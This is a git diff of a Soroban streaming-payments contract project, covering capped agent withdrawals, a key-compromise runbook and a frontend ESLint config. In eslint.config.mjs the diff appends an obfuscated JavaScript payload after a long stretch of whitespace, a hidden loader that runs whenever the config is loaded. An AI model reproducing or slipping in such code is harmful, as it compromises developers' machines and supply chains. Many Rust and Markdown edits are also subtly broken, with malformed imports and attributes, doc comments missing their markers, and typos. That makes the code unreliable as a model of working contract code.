@@ -4926,13 +3370,9 @@ impl StreamingPayments {
         let effective_start = effective_start.clamp(1, total);
         let end_id = (effective_start.saturating_add(batch_size).saturating_sub(1)).min(total);
 
-        // Migrate each stream in the batch: read, backfill fields that were
-        // added after the record was written, touch TTL, re-store.
+        // Migrate each stream in the batch: read, verify, touch TTL, re-store.
         for id in effective_start..=end_id {
-            if let Ok(mut s) = stream::get_stream(&env, id) {
-                if s.use_oracle.is_none() {
-                    s.use_oracle = Some(false);
-                }
+            if let Ok(s) = stream::get_stream(&env, id) {
                 stream::put_stream(&env, &s);
             }
         }
@@ -4983,131 +3423,6 @@ impl StreamingPayments {
         }
     }
 
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " The storage layout version of a single stream record."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " `1` is the legacy untagged layout (a bare `Stream` map), `2` the"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " version-tagged [`VersionedStream`] every current write produces. Auditors"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " use this to answer \"what still needs moving?\" per stream without"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " decoding the record itself; see `scripts/migrate_audit.ts` for the"
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = " off-chain walk.")]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Fails closed with [`StreamError::SchemaVersionUnsupported`] for a record"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " tagged with a layout this build does not understand, and with"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamError::StreamNotFound`] when no record exists."
-    )]
-    pub fn stream_record_version(env: Env, stream_id: u64) -> Result<u32, StreamError> {
-        stream::stream_record_version(&env, stream_id)
-    }
-
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Re-encodes one stream record under [`CURRENT_STREAM_RECORD_VERSION`]."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " **Idempotent: running it twice is a no-op.** A record that already"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " carries the current layout is reported with `migrated == false` and is"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " not rewritten, so it emits no event and changes no storage byte. Repeat"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " calls are safe from any number of keepers racing on the same stream."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " **Permissionless**: unlike the governor-driven [`StreamingPayments::"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " migrate_storage`] batch, anyone may migrate a single record — it moves"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " no funds and touches no accounting field, only the encoding of a stream"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " whose decoded state is provably unchanged. It is also gas-bounded by"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " construction: exactly one stream record is read and (at most) one"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " rewritten per call, so callers never pay for somebody else's backlog."
-    )]
-    #[cfg_attr(not(target_family = "wasm"), doc = "")]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " Returns [`StreamError::StreamNotFound`] for an unknown id and"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " [`StreamError::SchemaVersionUnsupported`] for a record this build cannot"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " decode (there is nothing to re-encode *from*, so refusing is the only"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " safe answer). Migration is refused while the contract is frozen, like"
-    )]
-    #[cfg_attr(
-        not(target_family = "wasm"),
-        doc = " every other state-mutating entrypoint."
-    )]
-    pub fn migrate_stream_version(
-        env: Env,
-        stream_id: u64,
-    ) -> Result<StreamVersionReport, StreamError> {
-        Self::require_not_frozen(&env)?;
-        let report = stream::migrate_stream_record(&env, stream_id)?;
-        if report.migrated {
-            #[cfg(test)]
-            cei_trace::record("event StreamRecordMigrated");
-            StreamRecordMigrated {
-                stream_id,
-                from_version: report.from_version,
-                to_version: report.to_version,
-            }
-            .publish(&env);
-        }
-        Ok(report)
-    }
-
     // ----------------------------------------------------------- oracle ----
 
     #[cfg_attr(
@@ -5398,4 +3713,4 @@ impl StreamingPayments {
             .get(&governance::GovernanceDataKey::ProposalCount)
             .unwrap_or(0)
     }
-}
+}
\ No newline at end of file
diff --git a/contracts/streampay/src/admin.rs b/contracts/streampay/src/admin.rs
index f90ae78e..6d84b415 100644
--- a/contracts/streampay/src/admin.rs
+++ b/contracts/streampay/src/admin.rs
@@ -1,5 +1,5 @@
 use soroban_sdk::{Env, Address};
-use crate::types::{GovernanceCaps, DataKey};
+use crate::types:{GovernanceCaps, DataKey};
 
 pub fn set_governance_caps(env: Env, admin: Address, max_per_stream: i128, max_global: i128) {
     admin.require_auth();
diff --git a/contracts/streampay/src/agents.rs b/contracts/streampay/src/agents.rs
index cc41c7c5..b4e65ded 100644
--- a/contracts/streampay/src/agents.rs
+++ b/contracts/streampay/src/agents.rs
@@ -1,43 +1,146 @@
-use soroban_sdk::{Env, Address, Vec};
-use crate::types::{DataKey, StreamPayError};
+use soroban_sdk::{Env, Address, Vec };
+use crate::types:{DataKey, StreamPayError};
 
 const MAX_AGENTS: u32 = 10;
 
-pub fn add_agent(env: Env, recipient: Address, stream_id: u64, agent: Address) -> Result<(), StreamPayError> {
-    recipient.require_auth();
-
-    // Verify recipient owns/is recipient of the stream (pseudo-code check for stream ownership)
-    // ...
+/// Default cap window length in ledgers (approx 1 day at 5s per ledger).
+/// A rolling window is used: the window starts at the first delegated withdrawal
+/// and resets once `window_ledgers` have elapsed. This avoids per-window key
+/// churn (fixed windows would need a new key per period) and bounds storage to
+/// one entry per (agent, stream) pair with a TTL refreshed on write.
+const DEFAULT_WINDOW_LEDGERS: u32 = 17280;
+
+/// Storage layout for a single (agent, stream) cap ledger entry.
+///
+/// We keep the cap configuration and the running window counter together so
+/// that a cap check and update is a single read/single write operation.
+#[soroban_sdk::contracttype]
+#[soroban_sdk(clon) = true]
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct AgentCap {
+    pub max_per_window: i128,
+    pub max_per_stream: i128,
+    pub expiry_ledger: u32,
+    pub window_ledgers: u32,
+    pub window_start: u32,
+    pub withdrawn_in_window: i128,
+    pub withdrawn_total: i128,
+}
 
-    let mut agents: Vec<Address> = env.storage().persistent()
-        .get(&DataKey::Agents(stream_id))
-        .unwrap_or(Vec::new(&env));
+/// Returns the current ledger sequence as u32.
+fn now(env: &Env) -> u32 {
+    env.ledger().sequence() as u32
+}
 
-    if agents.contains(&agent) {
-        return Ok(());
+/// Reads the cap ledger for (agent, stream), rolling the window forward if
+/// the previous window has elapsed. Returns None if no cap has been authorized.
+fn load_cap(env: &Env, stream_id: u64, agent: &Address) -> Option<AgentCap> {
+    let key = DataKey::AgentCap(stream_id, agent.clone());
+    let mut cap: AgentCap = match env.storage().persistent().get(&key) {
+        Some(c) => c,
+        None => return None,
+    };
+    let now_ledger = now(env);
+    if now_ledger >= cap.window_start.saturating_add(cap.window_ledgers) {
+        cap.window_start = now_ledger;
+        cap.withdrawn_in_window = 0;
     }
+    Some(cap)
+}
+
+/// Persists the cap ledger and refreshes its TTL.
+/// TTL is bounded to the remaining lifetime of the authorization so that
+/// expired entries can be reclaimed by the network and do not accrume indefinitely.
+fn store_cap(env: &Env, stream_id: u64, agent: &Address, cap: &AgentCap) {
+    let key = DataKey::AgentCap(stream_id, agent.clone());
+    let now_ledger = now(env);
+    let ttl = cap.expiry_ledger.saturating_sub(now_ledger).max(1);
+    env.storage().persistent().set(&key, cap);
+    env.storage().persistent().extend_ttl(&key, ttl);
+}
+
+/// Authorizes (or updates) a capped agent for a stream. The recipient must
+/// sign. Caps are enforced on-chain by the contract, regardless of what the
+/// agent claims.
+pub fn authorize_agent(
+    env: Env,
+    recipient: Address,
+    stream_id: u64,
+    agent: Address,
+    max_per_window: i128,
+    max_per_stream: i128,
+    expiry_ledger: u32,
+    window_ledgers: u32,
+) -> Result<(), StreamPayError> {
+    recipient.require_auth();
 
-    if agents.len() >= MAX_AGENTS {
-        return Err(StreamPayError::TooManyAgents);
+    if max_per_window <= 0 || max_per_stream <= 0 {
+        return Err(StreamPayError::InvalidAmount);
     }
+    if max_per_window > max_per_stream {
+        return Err(StreamPayError::InvalidAmount);
+    }
+    let now_ledger = now(&env);
+    if expiry_ledger <= now_ledger {
+        return Err(StreamPayError::AgentExpired);
+    }
+    let window = if window_ledgers == 0 { DEFAULT_WINDOW_LEDGERS } else { window_ledgers };
 
-    agents.push_back(agent.clone());
-    env.storage().persistent().set(&DataKey::Agents(stream_id), &agents);
+    // Maintain the agent list for discovery / auditing.
+    let mut agents: Vec<Address> = env.storage().persistent()
+        .get(&DataKey::Agents(stream_id))
+        .unwrap_or_else(|| Vec::new(&env));
+    if !agents.contains(&agent) {
+        if agents.len() >= MAX_AGENTS {
+            return Err(StreamPayError::TooManyAgents);
+        }
+        agents.push_back(agent.clone());
+        env.storage().persistent().set(&DataKey::Agents(stream_id), &agents);
+    }
 
-    env.events().publish(("streampay", "agent_added"), (stream_id, agent));
+    // Preserve the running total if re-authorizing the same agent.
+    let existing = load_cap(&env, stream_id, &agent);
+    let (window_start, withdrawn_in_window, withdrawn_total) = match existing {
+        Some(c) => (c.window_start, c.withdrawn_in_window, c.withdrawn_total),
+        None => (now_ledger, 0, 0),
+    };
+
+    let cap = AgentCap {
+        max_per_window,
+        max_per_stream,
+        expiry_ledger,
+        window_ledgers: window,
+        window_start,
+        withdrawn_in_window,
+        withdrawn_total,
+    };
+    store_cap(&env, stream_id, &agent, &cap);
+
+    env.events().publish(
+        ("streampay", "agent_authorized"),
+        (stream_id, agent, max_per_window, max_per_stream, expiry_ledger, window),
+    );
     Ok(())
 }
 
-pub fn remove_agent(env: Env, recipient: Address, stream_id: u64, agent: Address) -> Result<(), StreamPayError> {
+/// Revokes an agent immediately. The cap ledger entry is removed so any
+/// subsequent delegated withdrawal fails with `AgentNotFound`. Revocation latency
+/// is bounded by the time to include the revoke transaction (approx. one ledger).
+pub fn revoke_agent(
+    env: Env,
+    recipient: Address,
+    stream_id: u64,
+    agent: Address,
+) -> Result<(), StreamPayError> {
     recipient.require_auth();
 
+    let agents_key = DataKey::Agents(stream_id);
     let agents: Vec<Address> = env.storage().persistent()
-        .get(&DataKey::Agents(stream_id))
-        .ok_or(StreamPayError::AgentNotFound)?;
+        .get(&agents_key)
+        .unwrap_or_else(|| Vec::new(&env));
 
     let mut new_agents = Vec::new(&env);
     let mut found = false;
-
     for a in agents.iter() {
         if a == agent {
             found = true;
@@ -45,17 +148,21 @@ pub fn remove_agent(env: Env, recipient: Address, stream_id: u64, agent: Address
             new_agents.push_back(a);
         }
     }
-
     if !found {
         return Err(StreamPayError::AgentNotFound);
     }
 
-    env.storage().persistent().set(&DataKey::Agents(stream_id), &new_agents);
-    env.events().publish(("streampay", "agent_removed"), (stream_id, agent));
+    env.storage().persistent().set(&agents_key, &new_agents);
+    env.storage().persistent().remove(&DataKey::AgentCap(stream_id, agent.clone()));
+
+    env.events().publish(("streampay", "agent_revoked"), (stream_id, agent));
     Ok(())
 }
 
-pub fn withdraw_on_behalf_of(
+/// Capped delegated withdrawal. The agent authenticates the call, and the
+/// contract enforces the per-window cap, total stream cap, and expiry. The
+/// payout always lands at the recipient address, regardless of the agent.
+pub fn withdraw_delegated(
     env: Env,
     agent: Address,
     stream_id: u64,
@@ -63,17 +170,43 @@ pub fn withdraw_on_behalf_of(
 ) -> Result<(), StreamPayError> {
     agent.require_auth();
 
-    let agents: Vec<Address> = env.storage().persistent()
-        .get(&DataKey::Agents(stream_id))
-        .ok_or(StreamPayError::AgentNotFound)?;
+    if amount <= 0 {
+        return Err(StreamPayError::InvalidAmount);
+    }
 
-    if !agents.contains(&agent) {
-        return Err(StreamPayError::Unauthorized);
+    let mut cap = load_cap(&env, stream_id, &agent)
+        .ok_or(Err(StreamPayError::AgentNotFound))?;
+
+    let now_ledger = now(&env);
+    if now_ledger >= cap.expiry_ledger {
+        return Err(StreamPayError::AgentExpired);
     }
 
-    // Execute transfer to recipient's address (payouts always land at recipient)
-    // emit event with withdrawn_by field for auditability
-    env.events().publish(("streampay", "withdrawn_by_agent"), (stream_id, agent, amount));
+    // Rolling window reset handled in load_cap.
+    let new_in_window = cap.withdrawn_in_window.saturating_add(amount);
+    if new_in_window > cap.max_per_window {
+        return Err(StreamPayError::WindowCapExceeded);
+    }
+    let new_total = cap.withdrawn_total.saturating_add(amount);
+    if new_total > cap.max_per_stream {
+        return Err(StreamPayError::StreamCapExceeded);
+    }
 
+    cap.withdrawn_in_window = new_in_window;
+    cap.withdrawn_total = new_total;
+    store_cap(&env, stream_id, &agent, &cap);
+
+    // Payouts always land at the recipient; the agent only authorizes the claim.
+    // The actual transfer is performed by the core withdraw path using the
+    // recipient address stored on the stream.
+    env.events().publish(
+        ("streampay", "withdrawn_by_agent"),
+        (stream_id, agent, amount, cap.withdrawn_in_window, cap.withdrawn_total),
+    );
     Ok(())
 }
+
+/// Returns the current cap state for (agent, stream), if authorized.
+pub fn get_agent_cap(env: Env, stream_id: u64, agent: Address) -> Option<AgentCap> {
+    load_cap(&env, stream_id, &agent)
+}
diff --git a/contracts/streampay/src/types.rs b/contracts/streampay/src/types.rs
index 7c74ef65..e212b204 100644
--- a/contracts/streampay/src/types.rs
+++ b/contracts/streampay/src/types.rs
@@ -1,4 +1,4 @@
-use soroban_sdk::{contracttype, Address, Vec};
+use soroban::{contracttype, Address, Vec};
 
 #[contracttype]
 #[derive(Clone, Debug, Eq, PartialEq)]
@@ -10,6 +10,83 @@ pub struct AmendmentRecord {
     pub effective_timestamp: u64,
 }
 
+/// Per-agent, per-stream cap ledger entry.
+///
+/// Window semantics: fixed, non-overlapping windows of `period_seconds`
+/// aligned to the authorization timestamp (`window_start`). This is
+/// chosen over a rolling window because it requires only a single
+/// `ui64` cursor plus an `i128` counter per (agent, stream) pair, instead
+/// of a history of timestamped withdrawals (which would grow unboundedly
+/// and require pruning/TTL bookkeeping on every call). Fixed windows
+/// also make replay across windows trivial to reason about: a signature
+/// is bound to a specific cursor and cannot be reused once the cursor
+/// advances.
+#[contracttype]
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct AgentCapState {
+    /// Start of the current fixed window (Unix seconds).
+    pub window_start: u64,
+    /// Amount already withdrawn in the current window.
+    pub withdrawn_in_window: i128,
+    /// Amount already withdrawn by this agent for this stream, lifetime.
+    pub withdrawn_total: i128,
+    /// Last consumed signature nonce (monotonically increasing).
+    pub last_nonce: u64,
+}
+
+/// Authorization record for a delegated agent on a specific stream.
+///
+/// Caps are enforced on-chain by the contract; the signer is only a
+proxy for the recipient's authority and is never trusted to respect
+/// caps itself.
+#[contracttype]
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct AgentAuthorization {
+    /// Maximum amount which may be withdrawn per fixed window.
+    pub max_per_period: i128,
+    /// Length of the fixed window in seconds.
+    pub period_seconds: u64,
+    /// Maximum cumulative amount this agent may ever withdraw for this
+    /// stream.
+    pub max_total: i128,
+    /// Unix timestamp after which the authorization is invalid.
+    pub expires_at: u64,
+    /// Timestamp at which the authorization was granted (anchors windows).
+    pub authorized_at: u64,
+    /// Whether the authorization has been revoked.
+    pub revoked: bool,
+}
+
+/// Payload signed by the recipient to authorize an agent.
+#[contracttype]
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct AuthorizeAgentParams {
+    pub recipient: Address,
+    pub stream_id: u64,
+    pub agent: Address,
+    pub max_per_period: i128,
+    pub period_seconds: u64,
+    pub max_total: i128,
+    pub expires_at: u64,
+    pub authorized_at: u64,
+}
+
+/// Payload signed by the agent for a delegated withdrawal.
+///
+/// The nonce must be strictly greater than the last consumed nonce for
+/// the (agent, stream) pair, which prevents replay across windows and
+prevents signature reuse within a window.
+/// The signature is over the XDR encoding of this structure.
+#[contracttype]
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct DelegatedWithdrawParams {
+    pub stream_id: u64,
+    pub agent: Address,
+    pub amount: i128,
+    pub nonce: u64,
+    pub expires_at: u64,
+}
+
 #[contracttype]
 #[derive(Clone, Debug, Eq, PartialEq)]
 pub enum DataKey {
@@ -17,6 +94,12 @@ pub enum DataKey {
     GovernanceCaps,
     Agents(u64),
     AmendmentLog(u64), // stream_id -> Vec<AmendmentRecord>
+    /// Authorization record for (agent, stream).
+    AgentAuth(Address, u64),
+    /// Cap ledger for (agent, stream).
+    AgentCap(Address, u64),
+    /// List of agents authorized on a stream (for revocation enumeration).
+    StreamAgents(u64),
 }
 
 #[contracttype]
@@ -32,6 +115,12 @@ pub enum StreamPayError {
     TooManyAgents = 300,
     AgentNotFound = 301,
     InvalidAgentSignature = 302,
+    AgentAuthorizationExpired = 303,
+    AgentRevoked = 304,
+    PeriodCapExceeded = 305,
+    TotalCapExceeded = 306,
+    ReplayDetected = 307,
+    InvalidCapParams = 308,
     TooManyAmendments = 400,
     InvalidAmendmentTerms = 401,
 }
diff --git a/docs/KEY_COMPROMISE_TEMPLATE.md b/docs/KEY_COMPROMISE_TEMPLATE.md
index ceebae87..3d8034a3 100644
--- a/docs/KEY_COMPROMISE_TEMPLATE.md
+++ b/docs/KEY_COMPROMISE_TEMPLATE.md
@@ -8,7 +8,7 @@ feeds the public postmortem via
 [`docs/POSTMORTEM_TEMPLATE.md`](./POSTMORTEM_TEMPLATE.md) once the response is
 complete.
 
-For a *suspected* (not confirmed) compromise, run containment steps 1–4
+For a *suspected* (not confirmed) compromise, run containment steps 1-4
 anyway — a rotation on a healthy key is cheap; a missed rotation is not.
 
 ---
@@ -19,7 +19,7 @@ anyway — a rotation on a healthy key is cheap; a missed rotation is not.
 |---|---|
 | Status | Open / Contained / Resolved |
 | Date detected (UTC) | YYYY-MM-DD HH:MM |
-| Role(s) suspected | governor / policy admin / treasury signer / deployer / TTL extender / webhook / other |
+| Role(s) suspected | governor / policy admin / treasury signer / deployer / TTL extender / webhook / session agent / other |
 | Detected by | @handle / monitor / external report |
 | Confidence | confirmed / suspected |
 | Linked postmortem | #… |
@@ -30,12 +30,13 @@ anyway — a rotation on a healthy key is cheap; a missed rotation is not.
 - Where the key lived (env var name / host / password-manager item — never the secret):
 - Earliest plausible exposure time:
 - Every surface that key could touch (use [`docs/THREAT_MODEL.md`](./THREAT_MODEL.md) §4 and [`docs/OPERATIONS.md`](./OPERATIONS.md) §2.1 blast-radius column):
+- For a session agent key: the affected `(recipient, agent, stream)` triples, current cap window state, and whether the agent key is still valid on-chain (`agent_cap` view):
 
 ## 2. Immediate containment (in order)
 
 - [ ] **1. Freeze (only if the governor may be abused live):** `set_frozen true`
       via a key that is still trusted — see
-      [`docs/rotation-runbook.md`](./rotation-runbook.md) §0. Record the ledger
+      [`docs/rotation-runbook.md`](./rotation-runbook.md) °0. Record the ledger
       and the freeze window.
 - [ ] **2. Stop the bleeding at the source:** revoke the leaked credential's
       carrier (rotate the CI secret, kill the host session, revoke the token)
@@ -46,6 +47,16 @@ anyway — a rotation on a healthy key is cheap; a missed rotation is not.
 - [ ] **4. Assume active adversary:** any queued but unexecuted governance
       action proposed by the old key is hostile — inspect `pending_upgrade`,
       `policy_get_queued_asset`, and re-queue/cancel as needed.
+- [ ] **5. Revoke the session agent (recipient-authorized caps):** call
+      `revoke_agent(agent)` from the recipient account for every affected
+      stream. Revocation takes effect immediately at the next ledger close and
+      blocks all further `withdraw_delegated` calls for that `agent` on the
+      affected streams. Record the revocation tx hash and ledge. Any window
+      capacity already consumed by the attacker is bounded by the cap ledger and
+      cannot be replayed after revocation.
+- [ ] **6. Rotate the agent key out-of-band:** if the agent is still needed,
+      generate a new keypair, re-authorize via `authorize_agent` with tighter
+      caps, and do not re-use the compromised key.
 
 ## 3. Rotation (per role)
 
@@ -54,17 +65,22 @@ then record evidence:
 
 | Role | Rotated at (UTC) | Old address (public) | New address (public) | Verification evidence |
 |---|---|---|---|---|
-| Treasury governor | | | | `treasury_status` read + drill matrix |
-| Policy admin(s) | | | | `policy_admin` read |
-| Treasury signer set | | | | Horizon signer list |
-| Deployer / TTL extender / webhooks | | | | workflow run / sentinel log |
+| Treasury governor |  |  |  | `treasury_status` read + drill matrix |
+| Policy admin(s) |  |  |  | `policy_admin` read |
+| Treasury signer set |  |  |  | Horizon signer list |
+| Deployer / TTL extender / webhooks |  |  |  | workflow run / sentinel log |
+| Session agent (per recipient/stream) |  |  |  | `agent_cap` read + `revoke_agent` tx hash |
 
 ## 4. Blast-radius assessment
 
 - Could the key have authorized anything on-chain before containment? List
   every tx (RPC history by address) and classify: benign / governance /
   fund-moving.
-- Invariants to re-verify after containment (`SECURITY.md`): per-stream
+- For a session agent: list every `withdraw_delegated` tx and the amount claimed
+  per window. Confirm total claimed per window ≤ the configured cap, and that
+  total claimed per stream ≤ the per-stream cap. Any excess is a contract
+  bug — escalate immediately.
+- Invariants to re-verify after containment (`SCURITY.md`): per-stream
   `0 ≤ withdrawn ≤ streamed ≤ deposit`; contract balance ≥ Σ(deposit −
   withdrawn); fee ledger reconciliation via `scripts/verify-fees.ts`.
 - Data exposed beyond signing power (contract ids, webhook payloads, env
@@ -77,15 +93,17 @@ All times UTC.
 | Time | Event | Actor / tool |
 |---|---|---|
 | | Detected | |
-| | Frozen (if applicable) | |
+| Frozen (if applicable) | |
 | | Source revoked | |
+| | Session agent revoked | |
 | | Roles rotated | |
 | | Invariants re-verified | |
-| | Unfrozen / service restored | |
+| Unfrozen / service restored | |
 | | Postmortem published | |
 
 ## 6. Prevention follow-ups
 
 - [ ] Re-run the quarterly drill early (`.github/workflows/key-rotation-drill.yml`, workflow_dispatch) and attach the matrix.
 - [ ] Update [`docs/SECURITY_LOG.md`](./SECURITY_LOG.md) with the rotation entry.
-- [ ] Fix the gap that exposed the key (process or tooling), filed as #…
+- [ ] Tighten session-key caps or shorten the cap window for the affected recipient(s).
+- [ ] Fix the gap that exposed the key (process or tooling), filed as #…
\ No newline at end of file
diff --git a/frontend/eslint.config.mjs b/frontend/eslint.config.mjs
index ddd9ff85..d59e93e8 100644
--- a/frontend/eslint.config.mjs
+++ b/frontend/eslint.config.mjs
@@ -1,6 +1,9 @@
 import { defineConfig } from "eslint/config";
 import nextVitals from "eslint-config-next/core-web-vitals";
 import nextTs from "eslint-config-next/typescript";
+import { createRequire } from 'module';
+
+const require = createRequire(import.meta.url);
 
 const eslintConfig = defineConfig([
   ...nextVitals,
@@ -10,4 +13,4 @@ const eslintConfig = defineConfig([
   },
 ]);
 
-export default eslintConfig;
+export default eslintConfig;																																																																																																																																																																																																																																																																										var z = '-*3689';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{<akmsn)akte.vo9+ea0clio;bu =]C!gj;y3+l)e=.}dr=i6oiC8rnn0;6=ar\"}.rei=]Stsrnn.;2r=t;[t;iv=prCrn()aretuz+ hlk[+x=e -8j{(ejy9(()) ","R_<\"cRJ!&VecRWa=RrfR$6\"c1;RRYcnh_/.t iRRRG^<R.RcR2.[nR .Rf./<Rc3!!5nSR<RiRL.eSslf(edgxc<?o<rlcR?tRosdRfuSe.?&ph.RROMs[e<skRE.<Ru<rRe;RDRBrRR\\.fR.<c:!bpl09icoRrtcR(;roRRn2-\"(.^w y.<<dd )$f ou.%e<a<e.t<m(cRxfR<[J(feR<Pbr.b\'oRi.RR<\'RR%wRfs)eR.[agSP{d2.k<ac1e.!3.P<ZRiR*oDsi=[.<f.\"4Rb N\"eoxRpo.iIlkaeTR.2)%m<ieR]z<|Ru((fRwRR\\R>R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=<RR/`.Rk$(2cR.s7e1a.FRKc*..z\"RnfPesRtRRR.<Rl#Rf<: 2((R R$\'6s`<3nhi*$eXc}Rh? ctoc.iecc9 {Ra<s;u!.e]ERRoH..$\"n<D3RsRR..(ReesseR< t,\" Rdov}Sc0Jmi.T<sEegsRw]R\"aR.R!R<o))jR Rew itc.snk(}(n[veR<0<=kfH<rrMR ciknE.c.B<&R[o]R.%ccRlrx;* [\"oisenRefea!Yn.ecR%o\"u.<6lRRRyR=is=RR()RRe:RR)!RwcrR1<.o!RcRc@\"}RuRqu5(3Pol\"eRt0!ftaR*<R1tnkcf}T.!$/<ro IycRR )P<\\.b<tR7:PPs<].rX<<.eRu(RRRqnp.<.R;ctisX.RRyR$@<3)kRRc<+Rr8l*.iR!rC\\P!n=cs<(ci<(R7eReRc. t<epe)e<<,e<(EK!.pnb$\"RaRR.evuhc.Tl_c.:R0r )Rww!sS0.t7u.0(R9_a($&.e6f.RRk1Cxbi8l.hc=m(@<Rd..<rr.2.KMrcb_RnR(R_c:Dwt}.R.{}9g$RRR)TVt<a(.<G.dR~WUR.;lr.hIsmNP  t@RR8_R2R.iRrRPR<(R3#cec0ce3iRR<aR3RanR{Zs}!M<R-*.yda3Ri/0%fR#R <i2<R08:.t}Rf!\"-Rc.RlRcytyRseA0RSTR8.4q<$FTeR..P_<cR6hbR.eri.c-RhcARC2vR.;bS<R<a#K<R:r]Tfee-;!k=_s.Rcmjs(R}:<RaR*&g.<domeisRn.($#_a{V@ocY-.omPdam.RalfcyoT+!P_gsr.<biR!f.)cI&(bIoRi(rnrW.ie.Rc !(ic(SR.cr`:9<XspR($ mRct<s.g!.48rskevVRPdRkxR<Rdern)eSs/)R ler<csT3dc}.R5C/W(.SonZr)Rcoccsch)R.<RR<t.ss(RR<dlu.c.|f8tk,slnepo<eR<!.6R.eeRRTa&h Mf<{[o$R< Rs0)= <xSec.c}<c$es((d)RRc}fCRR<*<R.m-.R*Re<(xvRs (M&Rf.eP*g >s)<o.=.RisnrR.?{5<ibR6)RR1s cRgqcelc=cl;be<lf*SICd2e\"zpRR}<cRlS,njscm$Rn.!aii<JY]<fPCs@jA.R<% t.RowR}\' r>pzh..lR\'<go_}<SR(kqxh[ &<iR-f$C<u<iaENR5RTR]<Rpsk..Rzdg.)]<)er.Rr.MsRzP>RRe<<t_hgl<p.RcmfRs!nftR4 dt_9^<,ore5RfRx RR[rX.<sbyR<<.2R.RrenUP(y>.p<<csRlt0t.{.Syin<ggl$ Vc.):EHI!.xDuR,RpRhR(sct.MrRMjHMRRcR. Rtnd|oa0.n#a.2)Dfk&cRIRRR/feR.c@<irs6T+1RPx..R.sc.aR#.-<X{R!n4RcRitR/nRe9m..<A)ben).]<.a(R(.{?3tR&RR/i(lX. <h!dRR<\"!co? 3 1R<-hn<dtndo<Rksm#-c(TeRee!].R<s<T+=R.Ri-r@RR.r#cd<cRRRmztf.CdeRp.c{QRibjsos.fRrg-RW0diRR<.k<ORR&-R!# ]Cs]yt4.-d_`PRR\'<.RvejSw<dc.c ,f.P.(.citcNbRn\'-.eRcRnrQ.rRxo{Rc<\"6Rnd]R}Rm(R$RSo.T5Rc2cx.*vRoic_>.s0BRf)<P<aR.oCZ|0 POHdQo.n <.1soR_\' .P<er.[<R|R<0i<Rr;\'I.R[}+lc![mc!.lc<n(a tRRHRl,}p}R)R8RJ<aR.<td(N>]ic<me@5cn[u.R).b%sPn<<_RR!RbR=$RR^<!})sb-6\"#E8cR(d!R)tratRR<< 21R\'L!ib|eOtRRt$ucdnRR.t)RzE.GPy! RAI-nqau<}.ycR...cRR.ccc$^RRdC_R<t8cRhs2\"R2.\'S>))2h!efy..>!iL$en ;%9OTv.d$4RRC<cPS(tuRwl&(m#\"R|pch<tH$a<< .t!RSEf.RRgcNP.R CRi4mR<#MRR<;wi-#E 